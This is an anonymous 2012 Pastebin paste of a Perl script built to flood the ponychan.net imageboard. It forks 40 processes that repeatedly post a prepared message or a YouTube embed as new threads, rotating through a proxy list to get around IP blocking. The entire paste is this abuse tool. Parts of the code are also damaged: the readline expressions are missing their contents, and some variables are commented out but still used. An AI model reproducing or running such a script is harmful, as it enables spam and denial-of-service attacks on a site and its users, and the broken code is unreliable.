Title: [Perl] #!/usr/bin/perl # for text boards use perl pony.pl board text # for embed use Author: Anonymous Pastebin link: http://pastebin.com/GejTvMsZ First Edit: Monday 18th of June 2012 10:13:28 PM CDT Last Edit: Monday 18th of June 2012 10:13:28 PM CDT #!/usr/bin/perl # for text boards use perl pony.pl board text # for embed use perl pony.pl board embed youtube_video_id # too lazy to do upload atm + multiple file shit etc # example: perl pony.pl show embed gMvxznPoxk4   use strict; use Socket; use IO::Handle; use LWP::UserAgent; use HTTP::Request::Common;           open PAGE, "comment.txt" or die $!;                 my $text = do { local $/; };         close PAGE;   my $board = $ARGV[0]; my $mode = $ARGV[1]; my %proxies; my $MAXFORK = 40;   open PROXIES, "proxies.txt";         my $i = 0;         while()         {                 chomp;                 $proxies{$_} = 1;                 $i++;         } print STDERR "Found $i proxies in proxies.txt\n";   socketpair(AWAY, CONTROL, AF_UNIX, SOCK_STREAM, PF_UNSPEC); AWAY->autoflush(1); CONTROL->autoflush(1);   if(my $jpid = fork) {         close CONTROL; } else {         die "$!" unless defined $jpid;         close AWAY;           my $command;         while(1)         {                 chomp($command = );                   if($command =~ /getproxy/)                 {                         if(keys %proxies > 0)                         {                                 print CONTROL (keys %proxies)[int rand keys %proxies] . "\n";                         }                         else                         {                                 print CONTROL "none\n";                         }                 }                 elsif($command =~ /fail (\S+)/)                 {                         delete($proxies{$1});                 }                 else                 {                         die "Bad command: $command";                 }         } }   for(my $i = 0;$i < $MAXFORK;$i++) {         FORK:         {                 if(my $pid = fork)                 {                 }                 elsif(defined $pid)                 {                         while (1) {                                 print AWAY "getproxy\n";                                 chomp(my $proxy = );                                   my $r = 0;                                 $r = flood($proxy);                                   if($r)                                 {                                         print STDERR "Child $i succeeded\n";                                 }                                 else                                 {                                         print STDERR "Child $i failed\n";                                         print AWAY "fail $proxy\n";                                 }                         }                 }                 elsif($! =~ /No more process/)                 {                         redo FORK;                 }                 else                 {                         print STDERR "Hit process limit\n";                         goto ENDFORK;                 }         } }   sub InitHTTP {         my $proxy = shift;                 my $ua = LWP::UserAgent->new();         $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)');         $ua->timeout(5);         $ua->proxy("http", "http://$proxy");           return $ua; }   sub flood {                 my $proxy = shift;         my $ua = InitHTTP($proxy);         #my $pass = rand_string();         #my $name1 = rand_string();         #my $name2 = rand_string();   if ($mode eq 'embed') {         my $post = $ua->post(                 'http://www.ponychan.net/chan/board.php',                 Content_Type=>'application/x-www-form-urlencoded',                 Content=>                 [                 board => $board,                 replythread => '0',                 name => $name1.'#'.$name2,                 em => '',                 subject => '',                 message => $text,                 postpassword => $pass,                 embedtype => 'youtube',                 embed => $ARGV[2],                 ]                 );   if ($post->is_success){ return 1; } else{ print STDERR "Error: " . $post->status_line . "\n"; return 0; } } if ($mode eq 'text') {                 my $post = $ua->post(                 'http://www.ponychan.net/chan/board.php',                 Content_Type=>'application/x-www-form-urlencoded',                 Content=>                 [                 board => $board,                 replythread => '0',                 name => $name1.'#'.$name2,                 em => '',                 subject => '',                 message => $text,                 postpassword => $pass,                 nofile => 'q',                 submit => 'New thread',                 ]                 );   if ($post->is_success){ return 1; } else{ print STDERR "Error: " . $post->status_line . "\n"; return 0; } } } sub rand_string { my $numb = rand(21); my $chars = 'abcdefghijklmnopqrstuvwxyz1234567890';         my @chars = split(//, $chars); my $shit;         while (length($shit) < $numb) {$shit .= $chars[int rand @chars];} return $shit; }